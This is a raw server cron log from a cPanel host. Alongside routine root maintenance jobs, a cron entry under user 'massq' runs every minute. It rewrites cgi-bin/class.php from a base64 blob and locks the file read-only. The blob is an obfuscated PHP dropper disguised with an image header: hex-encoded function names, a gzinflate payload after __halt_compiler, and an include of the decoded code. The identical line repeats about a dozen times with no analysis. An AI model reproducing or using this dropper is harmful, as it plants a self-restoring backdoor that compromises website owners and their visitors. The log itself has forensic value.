Sep  6 09:25:01 server CROND[23187]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:25:01 server CROND[23188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:25:01 server CROND[23185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:25:01 server CROND[23186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:26:01 server CROND[24015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:26:01 server CROND[24016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:26:01 server CROND[24017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:27:01 server CROND[24399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:27:01 server CROND[24400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:27:01 server CROND[24401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:27:01 server CROND[24403]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 09:28:01 server CROND[24783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:28:01 server CROND[24784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:28:01 server CROND[24785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:29:01 server CROND[25264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:29:01 server CROND[25265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:29:01 server CROND[25266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:30:01 server CROND[25661]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:30:01 server CROND[25663]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:30:01 server CROND[25665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:30:01 server CROND[25672]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:30:01 server CROND[25674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:30:01 server CROND[25673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:30:01 server CROND[25675]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:30:01 server CROND[25678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:31:01 server CROND[26513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:31:01 server CROND[26514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:31:01 server CROND[26515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:32:01 server CROND[26900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:32:01 server CROND[26902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:32:01 server CROND[26901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:33:01 server CROND[27307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:33:01 server CROND[27306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:33:01 server CROND[27308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:34:01 server CROND[27779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:34:01 server CROND[27780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:34:01 server CROND[27781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:35:01 server CROND[28178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:35:01 server CROND[28179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:35:01 server CROND[28182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:35:01 server CROND[28183]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 09:35:01 server CROND[28184]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 09:35:01 server CROND[28180]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:35:01 server CROND[28187]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:35:01 server CROND[28185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:35:01 server CROND[28186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:36:01 server CROND[29025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:36:01 server CROND[29026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:36:01 server CROND[29027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
